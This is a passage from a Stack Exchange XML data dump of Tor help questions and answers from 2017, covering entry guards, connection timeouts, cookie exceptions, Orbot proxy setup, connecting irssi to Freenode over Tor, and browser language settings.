noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15985" LastEditorUserId="15985" LastEditDate="2017-03-14T11:37:22.130" LastActivityDate="2017-03-26T00:13:46.053" Title="Why does Tor Browser sometimes choose one entry guard (most of the time), but sometimes it choose two or three entry guards?" Tags="|relays|guard|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14314" PostTypeId="1" AcceptedAnswerId="14315" CreationDate="2017-03-14T21:17:43.667" Score="0" ViewCount="70" Body="&lt;p&gt;I would like to submit one idea to the Tor project, that I found interesting and not implemented yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I submit this idea ?&lt;/p&gt;&#xA;" OwnerUserId="16695" LastActivityDate="2017-03-14T23:06:55.600" Title="How to suggest ideas to the Tor project" Tags="|censorship|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14315" PostTypeId="2" ParentId="14314" CreationDate="2017-03-14T23:06:55.600" Score="1" Body="&lt;p&gt;Depending from what exactly you want to propose there are different possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write to &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-dev&lt;/a&gt;&lt;br /&gt;&#xA;This mailing list is the central place where new ideas are discussed. You can meet developers and users there who can give you valuable input.&lt;/li&gt;&#xA;&lt;li&gt;Discuss at IRC (#tor-dev on OFTC)&lt;/li&gt;&#xA;&lt;li&gt;Add an entry at the &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug tracker&lt;/a&gt;. Discussions also happen here.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As a last possibility you can also create a proposal, but this should be send to tor-dev and discussed. So you're back at step 1.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-03-14T23:06:55.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14322" PostTypeId="2" ParentId="8660" CreationDate="2017-03-16T19:18:57.940" Score="0" Body="&lt;p&gt;I would like to add to the previous response the following steps to save a cookie for future use. So, in that same window:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assure that the following is true so that Tor privacy behavior doesn't deviate from its norm except for the websites of your choosing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• &quot;Remember my browsing and download history&quot; is unchecked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• &quot;Remember search and form history&quot; is unchecked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• &quot;Accept cookies from sites&quot; is checked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• &quot;Accept third-party cookies&quot; is set to &quot;Never&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• &quot;Keep until&quot; is set to &quot;I close Tor Browser&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &quot;Exceptions...&quot; button. Provide the address of the website of your choice, click &quot;Allow&quot; and then &quot;Save Changes&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the &quot;Settings...&quot; button. Under &quot;History&quot; unmark &quot;Cookies&quot;, under &quot;Data&quot; unmark both &quot;Site Preferences&quot; and &quot;Offline Website Data&quot;. Click &quot;OK&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In conclusion, allow me to explain the necessity of these settings. By unmarking &quot;Site Preferences&quot; you allowed Tor to save the exception you made for the website of your choice. By unmchecking &quot;Offline Website Data&quot; you allowed Tor to save offline data such as cookies, wich by now, is the only type of offline date you've allowed to save. Undesired cookies from other websites should still be erased, since &quot;Keep until&quot; is set to &quot;I close Tor Browser&quot;. You could check that yourself, by visiting any given site to have its cookies added in the list of installed cookies in &quot;Preferences/Privacy/Show Cookies...&quot; and then restarting the browser and seeing if they are still there. And they should NOT, given that the above configuration was met.&lt;/p&gt;&#xA;" OwnerUserId="16715" LastActivityDate="2017-03-16T19:18:57.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14323" PostTypeId="1" CreationDate="2017-03-17T03:43:41.120" Score="1" ViewCount="79" Body="&lt;p&gt;My firewall is configured to warn me of any changes to my tor browser when I'm on line.  It also lists the ip address and the originating website.  Recently, it detected a change which was initiated from crl.globalsign.net.  After checking out the site, I blocked the change.  Is this normal?&lt;/p&gt;&#xA;" OwnerUserId="16720" LastActivityDate="2017-03-17T03:43:41.120" Title="Tor Brower Compromised?" Tags="|attacks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14329" PostTypeId="1" CreationDate="2017-03-17T18:11:54.383" Score="0" ViewCount="1359" Body="&lt;p&gt;I am having a bit of trouble getting this to work. Can anyone help me resolve this problem?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3/17/2017 17:41:53 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2017 17:41:53 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2017 17:41:53 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2017 17:41:53 PM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/17/2017 17:41:53 PM.400 [NOTICE] Renaming old configuration file to &quot;C:\Users\Owner\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;3/17/2017 17:41:54 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/17/2017 17:41:54 PM.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/17/2017 17:41:54 PM.500 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;3/17/2017 17:41:54 PM.500 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;3/17/2017 17:41:54 PM.500 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;3/17/2017 17:41:55 PM.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;3/17/2017 17:41:55 PM.500 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;3/17/2017 17:41:55 PM.800 [NOTICE] Bootstrapped 45%: Asking for relay descriptors &#xA;3/17/2017 17:41:55 PM.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/7354, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) &#xA;3/17/2017 17:41:56 PM.600 [NOTICE] Bootstrapped 50%: Loading relay descriptors &#xA;3/17/2017 17:41:58 PM.300 [NOTICE] Bootstrapped 56%: Loading relay descriptors &#xA;3/17/2017 17:41:58 PM.600 [NOTICE] Bootstrapped 64%: Loading relay descriptors &#xA;3/17/2017 17:41:58 PM.600 [NOTICE] Bootstrapped 73%: Loading relay descriptors &#xA;3/17/2017 17:41:58 PM.600 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;3/17/2017 17:41:59 PM.300 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;3/17/2017 17:41:59 PM.700 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;3/17/2017 17:41:59 PM.700 [NOTICE] Bootstrapped 100%: Done &#xA;3/17/2017 17:42:01 PM.000 [NOTICE] New control connection opened from 127.0.0.1. &#xA;3/17/2017 17:42:01 PM.100 [NOTICE] New control connection opened from 127.0.0.1. &#xA;3/17/2017 17:51:14 PM.300 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for rendezvous desc) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16728" LastEditorUserId="9291" LastEditDate="2017-03-17T18:43:41.680" LastActivityDate="2017-03-18T01:41:09.400" Title="Tor keeps timing out when I try to access websites" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="1" ClosedDate="2017-03-21T21:50:59.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="14330" PostTypeId="2" ParentId="14329" CreationDate="2017-03-17T18:47:17.197" Score="-1" Body="&lt;p&gt;It's OK for a case when you have a ClientOnly mode, because it highly depends on your connection to get an actual HiddenService rendezvous points. If you have to use a client only mode - it's quite an often problem and you just have to wait, it will come up, but how quick - it's truly connection-dependent. If you have the chance - then make it a middle relay &lt;strong&gt;with&lt;/strong&gt; reachable ORPort and DirPort - it will work fine after 2-3 minutes after bootup, timings verified even on 3G connection.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2017-03-18T01:41:09.400" LastActivityDate="2017-03-18T01:41:09.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14333" PostTypeId="1" CreationDate="2017-03-18T04:51:13.043" Score="0" ViewCount="232" Body="&lt;p&gt;I've been using tor and Firefox 40.0.2 for years. I recently updated to Firefox 43.0b9, then to the latest, then back to 43.0b9 and ultimately downgraded again to 40.0.2. Somewhere along the way tor began taking several minutes to connect instead of approximately 10 seconds, and once it connected, websites wouldn't load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted a tor update and it wouldn't finish, so i deleted tor and reinstalled tor 6.0.8. When i attempt to connect on the Which of the following best describes your situation screen, it took about 10 minutes to load halfway and again, never finished; just sits on the connecting to the tor network screen/Loading relay information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked similar posts and couldn't find an exact answer. My computer has the right time, but if there is a log or any other useful information I can post to help diagnose this, I'll be happy to do so. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16731" LastActivityDate="2017-05-18T01:32:50.437" Title="lost ability to connect to tor network" Tags="|relays|firefox|network-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14334" PostTypeId="1" CreationDate="2017-03-18T10:24:47.580" Score="2" ViewCount="4204" Body="&lt;p&gt;In my workplace the Internet connection is proxied, some of websites and web-services won't load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use Orbot with the address of proxy and proxy's port, it was unsuccessful.&#xA;Then with and without proxy-address in it, but with bridges. Unsuccesful too.&#xA;Then with default ip-tables and with all permutation of above, without any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Tor Browser on my laptop (uses same WLAN, as phone). In the Launcher screen I chose the ISP-limitless opportunity, then filled out the proxy-screen. Tor-browser started without mistakes.&#xA;In tools-options-advanced tab I saw, TB use socks5 proxy with &lt;code&gt;localhost:9150&lt;/code&gt; address. In Orbot I tried &lt;code&gt;localhost:9050&lt;/code&gt; (default port for socks) address /with and without restricted policies, with and without default ip tables,  without succes. Then changed the default port to 9150 in settings, and for the localhost-proxy. nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i have too many variables to reach the internet with orbot on phone.&#xA;Wich one is the default possibility with a hard proxy-server? &lt;/p&gt;&#xA;" OwnerUserId="16732" LastEditorUserId="88" LastEditDate="2017-03-22T17:13:01.133" LastActivityDate="2018-04-27T21:35:29.503" Title="Which one connect method in Orbot I need to use?" Tags="|orbot|proxy|android|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14335" PostTypeId="1" CreationDate="2017-03-18T10:50:48.820" Score="2" ViewCount="56" Body="&lt;p&gt;Is there a place where I can post my error messages without giving too much private information away, and where the information isn't public, if it contains private information about my system?  I'd like to help resolve some issues, but am concerned about posting publicly the info from the clipboard which Tor collects in its error log.  Can someone explain whether it is private information or not too, as I am unaware of what to do, but would like both the help to establish a good connection, and at the same time, a secure site for all decent users.&lt;/p&gt;&#xA;" OwnerUserId="16733" LastActivityDate="2017-05-20T20:38:05.790" Title="Posting error messages" Tags="|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14336" PostTypeId="1" CreationDate="2017-03-18T12:29:05.247" Score="3" ViewCount="337" Body="&lt;p&gt;I get a window that says ... waiting for tor to start ... and until it gives me an error that says that it is impossible to connect tor port, why does this happen to me? &#xA;Weeks ago could connect without problems, I do not understand because now I have problems connecting to the port itself&lt;/p&gt;&#xA;" OwnerUserId="16553" LastActivityDate="2018-10-30T05:00:50.210" Title="I can not connect to the port" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14337" PostTypeId="2" ParentId="14297" CreationDate="2017-03-18T14:24:17.523" Score="1" Body="&lt;p&gt;Web sites which are offered Tor Onion Services (.onion domain) can be downloaded/mirrored/scraped like any other websites. You only need to tell your favorite tool to use the Tor software as a proxy. I usually use &lt;code&gt;wget&lt;/code&gt; for such purposes. So I added the following lines to my &lt;code&gt;.wgetrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use_proxy=yes&#xA;http_proxy=127.0.0.1:8118&#xA;https_proxy=127.0.0.1:8118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I just issue the command &lt;code&gt;wget http://bylu6d6nx3og7shy.onion/&lt;/code&gt;. This downloads the &lt;code&gt;index.html&lt;/code&gt;. For mirroring I would add the &lt;code&gt;-m&lt;/code&gt; option and wget will download the complete site.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-03-18T14:24:17.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14339" PostTypeId="2" ParentId="4757" CreationDate="2017-03-19T00:57:52.967" Score="1" Body="&lt;p&gt;This is rather odd, NoScript doesn't appear to have &quot;T&quot; set as shortcut for temporarily allowing script by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is enabled, you should be able to disable it via:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;type about:config in url bar and hit enter&lt;/li&gt;&#xA;&lt;li&gt;search for noscript.keys.tempAllowPage&lt;/li&gt;&#xA;&lt;li&gt;ensure value is set to an empty string&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-19T00:57:52.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14340" PostTypeId="2" ParentId="14333" CreationDate="2017-03-19T01:17:23.643" Score="1" Body="&lt;p&gt;First of all, Firefox 40.0.2 has been considered unsupported since 2015-08-27 when 40.0.3 was released. There have been dozens of critical security issues since then. Firefox 43b9 isn't much better either. Based on the security issues fixed in the meantime, I recommend you consider your system compromised. Out of curiosity, what prompted you to install this version rather than the current 45.8.0 ESR or 52.0.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by in the comment above, please try the current Tor Browser version. Version 6.0.8 no longer supported and should no longer be used.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-19T01:17:23.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14341" PostTypeId="1" CreationDate="2017-03-19T10:01:24.313" Score="5" ViewCount="1745" Body="&lt;p&gt;Trying to get Tor to renew my identity for my Python code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm following the &lt;a href=&quot;https://stem.torproject.org/faq.html#how-do-i-request-a-new-identity-from-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;STEM project guide&lt;/a&gt; on how to set this up. It seems that to get this properly working (for Python), I need to &lt;a href=&quot;https://stem.torproject.org/tutorials/the_little_relay_that_could.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;edit the torrc file&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do not seem to have this torrc file. Its not located where it should be according to STEM, nor is it in the place according to &lt;a href=&quot;https://tor.stackexchange.com/a/11870&quot;&gt;this answer&lt;/a&gt;. In short, I just do not have this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a common issue? Should I create the file myself, and if so, how? Should I download the file somewhere? Or is it something else? &lt;/p&gt;&#xA;" OwnerUserId="16742" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2019-04-11T17:02:05.427" Title="torcc file missing on Mac OS Sierra?" Tags="|configuration|stem|identity-change|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14345" PostTypeId="2" ParentId="14080" CreationDate="2017-03-19T23:56:16.923" Score="5" Body="&lt;p&gt;After wrestling with this myself, here's what worked for me on Trisquel 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ingredients:-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor&lt;/li&gt;&#xA;&lt;li&gt;Torsocks&lt;/li&gt;&#xA;&lt;li&gt;irssi&lt;/li&gt;&#xA;&lt;li&gt;an irc &lt;a href=&quot;https://freenode.net/kb/answer/registration&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Nickname Registration&quot;&gt;nick registered with freenode&lt;/a&gt; (for the sake of example, the nick is &quot;mary&quot; and the password &quot;m1nt_54uc3&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Recipe:-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following line to the torrc file (&lt;code&gt;/etc/tor/torrc&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# For Freenode IRC&#xA;mapaddress 10.40.40.40 freenodeok2gncmy.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The address &lt;code&gt;10.40.40.40&lt;/code&gt; is arbitrary, but it needs to be one that isn't going to be in use on your network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate a client certificate and put it where irssi can find it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openssl req -x509 -sha256 -new -newkey rsa:4096 -days 1000 -nodes \&#xA;              -out FreenodeTor.pem -keyout FreenodeTor.pem&#xA;Generating a 4096 bit RSA private key&#xA;...&#xA;Common Name (e.g. server FQDN or YOUR name) []: mary&#xA;$ mkdir -p ~/.irssi/certs&#xA;$ mv FreenodeTor.pem ~/.irssi/certs/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set the &quot;Common Name&quot; to the registered nick (here, &quot;mary&quot;), the rest of the fields can be left blank (i.e. type &lt;code&gt;.&lt;/code&gt;), but can probably be set to whatever you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note the validity period should be whatever makes sense to you; here we have set it to 1000 days.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Print out the certificate's fingerprint; remember it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openssl x509 -in ~/.irssi/certs/FreenodeTor.pem -outform der \&#xA;  | sha1sum -b | cut -d' ' -f1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect to freenode over the normal internet and associate the certificate with the nick&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ irssi&#xA;[(status)] /connect irc.freenode.net&#xA;[(status)] /msg NickServ identify &amp;lt;your password here&amp;gt;&#xA;[(status)] /msg NickServ CERT ADD &amp;lt;fingerprint from step 3.&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new network and server to irssi&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[(status)] /network add -sasl_username mary -sasl_password m1nt_54uc3 -sasl_mechanism EXTERNAL FreenodeTor&#xA;[(status)] /server add -ssl -ssl_cert ~/.irssi/certs/FreenodeTor.pem -net FreenodeTor 10.40.40.40 6697&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This step didn't quite work correctly when I did it; I think because I left off &lt;code&gt;-sasl_password&lt;/code&gt;. I had to go back and do a &lt;code&gt;/network modify&lt;/code&gt; command to fix it. But don't worry, further below is what &lt;code&gt;~/.irssi/config&lt;/code&gt; should contain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add some info leakage prevention configuration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[(status)] /ignore * CTCPS&#xA;[(status)] /save&#xA;[(status)] /quit&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The next step is to start irssi with torsocks, but first check that the irssi config contains something like the following:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;servers = (&#xA;  ...&#xA;  {&#xA;    address = &quot;10.40.40.40&quot;;&#xA;    chatnet = &quot;FreenodeTor&quot;;&#xA;    port = &quot;6697&quot;; &#xA;    use_tls = &quot;yes&quot;;&#xA;    tls_cert = &quot;~/.irssi/certs/FreenodeTor.pem&quot;;&#xA;    tls_verify = &quot;no&quot;;&#xA;    autoconnect = &quot;no&quot;;&#xA;  }&#xA;);&#xA;&#xA;chatnets = {&#xA;  ...&#xA;  FreenodeTor = {  &#xA;    type = &quot;IRC&quot;;  &#xA;    max_kicks = &quot;1&quot;;&#xA;    max_msgs = &quot;4&quot;;&#xA;    max_whois = &quot;1&quot;;&#xA;    sasl_mechanism = &quot;external&quot;;&#xA;    sasl_username = &quot;mary&quot;;&#xA;    sasl_password = &quot;m1nt_54uc3&quot;;&#xA;  };&#xA;};&#xA;&#xA;settings = {&#xA;  core = { real_name = &quot;mary&quot;; user_name = &quot;mary&quot;; nick = &quot;mary&quot;; };&#xA;  ...&#xA;};&#xA;ignores = ( { level = &quot;CTCPS&quot;; } );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The final step:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks irssi&#xA;[(status)] /connect FreenodeTor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;et voila! You should see something like:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22:02 -!- Irssi: Connecting to 10.40.40.40 [10.40.40.40] port 6697&#xA;22:02 -!- Irssi: Certificate Chain:&#xA;22:02 -!- Irssi:   Subject: CN: zettel.freenode.net&#xA;22:02 -!- Irssi:   Issuer:  C: US, O: Let's Encrypt, CN: Let's Encrypt Authority X3&#xA;22:02 -!- Irssi:   Subject: C: US, O: Let's Encrypt, CN: Let's Encrypt Authority X3&#xA;22:02 -!- Irssi:   Issuer:  O: Digital Signature Trust Co., CN: DST Root CA X3&#xA;22:02 -!- Irssi: Protocol: TLSv1.2 (256 bit, DHE-RSA-AES256-GCM-SHA384)&#xA;22:02 -!- Irssi: EDH Key: 2048 bit DH&#xA;22:02 -!- Irssi: Public Key: 4096 bit RSA, valid from Mar  6 05:01:00 2017 GMT to Jun  4 05:01:00 2017 GMT&#xA;22:02 -!- Irssi: Public Key Fingerprint:  E0:1B:31:80:56:D9:78:C4:2B:2D:3F:B2:DB:81:AB:03:15:59:BF:04:7E:31:E8:60:5F:98:07:A1:BB:8F:A3:0D (SHA256)&#xA;22:02 -!- Irssi: Certificate Fingerprint: B3:2B:29:0D:01:45:8F:3A:08:78:81:21:8B:72:CF:E4:9F:B1:53:D2:DB:AB:52:0B:38:2A:8F:94:ED:87:65:BA (SHA256)&#xA;22:02 -!- Irssi: Connection to 10.40.40.40 established&#xA;22:02 !zettel.freenode.net *** Looking up your hostname...&#xA;22:02 !zettel.freenode.net *** Couldn't look up your hostname&#xA;22:02 -!- mary!mary@127.0.0.1 mary You are now logged in as mary.&#xA;22:02 -!- SASL authentication succeeded&#xA;22:02 !zettel.freenode.net *** Spoofing your IP&#xA;22:02 -!- Welcome to the freenode Internet Relay Chat Network mary&#xA;22:02 -!- Your host is zettel.freenode.net[127.0.0.1/12345], running version ircd-seven-1.1.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;References:-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://freenode.net/kb/answer/certfp&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;CertFP&quot;&gt;Freenode CertFP&lt;/a&gt; - an alternative to password-based authentication&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://freenode.net/kb/answer/sasl&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Connecting with SASL&quot;&gt;Freenode SASL&lt;/a&gt; - SASL config for various clients&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://freenode.net/kb/answer/irssi&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Configuring SASL for Irssi&quot;&gt;Freenode SASL irssi&lt;/a&gt; - SASL config for Irssi&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://freenode.net/news/tor-online&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Resurrecting Tor, continued&quot;&gt;Freenode Tor&lt;/a&gt; - Freenode Tor connection details&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/irssi#usewithtormethodirssi&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;doc/TorifyHOWTO/irssi&quot;&gt;Tor Wiki irssi&lt;/a&gt; - Configuring irssi to connect through Tor (dated, but still interesting)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="207" LastEditorUserId="207" LastEditDate="2020-01-21T14:57:14.103" LastActivityDate="2020-01-21T14:57:14.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14346" PostTypeId="1" CreationDate="2017-03-20T00:35:33.407" Score="3" ViewCount="4701" Body="&lt;p&gt;Tor stays at background after closing the terminal. How can I make it behave like in Windows (Tor only functions while the cmd is still running).&#xA;I'm using Tor by just entering &lt;code&gt;tor&lt;/code&gt; command in terminal -&gt; firefox proxy settings (without tor browser).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've specified &lt;code&gt;RunAsDaemon 0&lt;/code&gt; in &lt;code&gt;torrc&lt;/code&gt; but it seems to have no effect.&lt;/p&gt;&#xA;" OwnerUserId="16750" LastEditorUserId="88" LastEditDate="2017-03-23T11:23:07.893" LastActivityDate="2020-10-27T16:36:34.850" Title="Tor don't stop after terminal being closed" Tags="|windows|linux|terminal|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14347" PostTypeId="1" CreationDate="2017-03-20T00:54:42.827" Score="4" ViewCount="1159" Body="&lt;p&gt;(rough English translation below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Team,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;leider kann ich nicht so perfekt die englische Sprache. Um nun perfekt mit dem Tor-System arbeiten zu können wollte ich fragen , wie ich alle Seiten auf deutsch umstellen kann und ob die deutschen Seiten dann immernoch sicher sind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Danke im Voraus und würde mich freuen, wenn Ihr mir helfen könnt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grüße von einer User´in&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Team&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, my English isn't perfect. In order to be able to work with Tor, I'd like to know how I can change all the sites to German. Also, does this have any impact on security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance, any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, a Tor user&lt;/p&gt;&#xA;" OwnerUserId="16751" LastEditorUserId="16657" LastEditDate="2017-03-20T09:46:43.607" LastActivityDate="2017-03-20T09:46:43.607" Title="Show sites in a different language (German in my case) / Seiten auf Deutsch anzeigen" Tags="|help|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14348" PostTypeId="2" ParentId="14347" CreationDate="2017-03-20T01:45:28.460" Score="1" Body="&lt;p&gt;Yes you can change in which language sites is requested. Go to Preferences → Content → Choose and make sure German is on top of the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning security, the browser will send the list of languages to any site you visit. To preserve the users privacy, Tor browser, by default, requests the sites in English, independent of the interface language. This is done to ensure the browser's fingerprint is the same for all Tor users. If you change the language, you change your fingerprint which allows to distinguish you from others Tor Browser users. I recommend you stick with English and search for a German button on the web site if necessary.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(German translation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ja, du kannst die Sprache, in welcher Webseiten angefordert werden ändern. Du kannst dies unter Preferences → Content → Choose Einstellen (auf Deutsch vermutlich Einstellungen → Inhalt → Wählen). Stell sicher das Deutsch zuoberst auf der Liste steht.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bezüglich Sicherheit, der Browser sendet die Liste der Sprachen an jede Webseite die du besuchst. Um die Privatsphäre der Nutzer zu bewahren vordert Tor Browser der Tor Brwoser standardmäßig die englische Seite an, unabhängig von der Interfacesprache. Damit wird sichergestellt, dass der Fingerprint des Browsers aller Tor Benutzer gleich ist. Wenn du die Sprache änderst, ändert Sie auch dein Fingerprint, was es erlaubt dich von 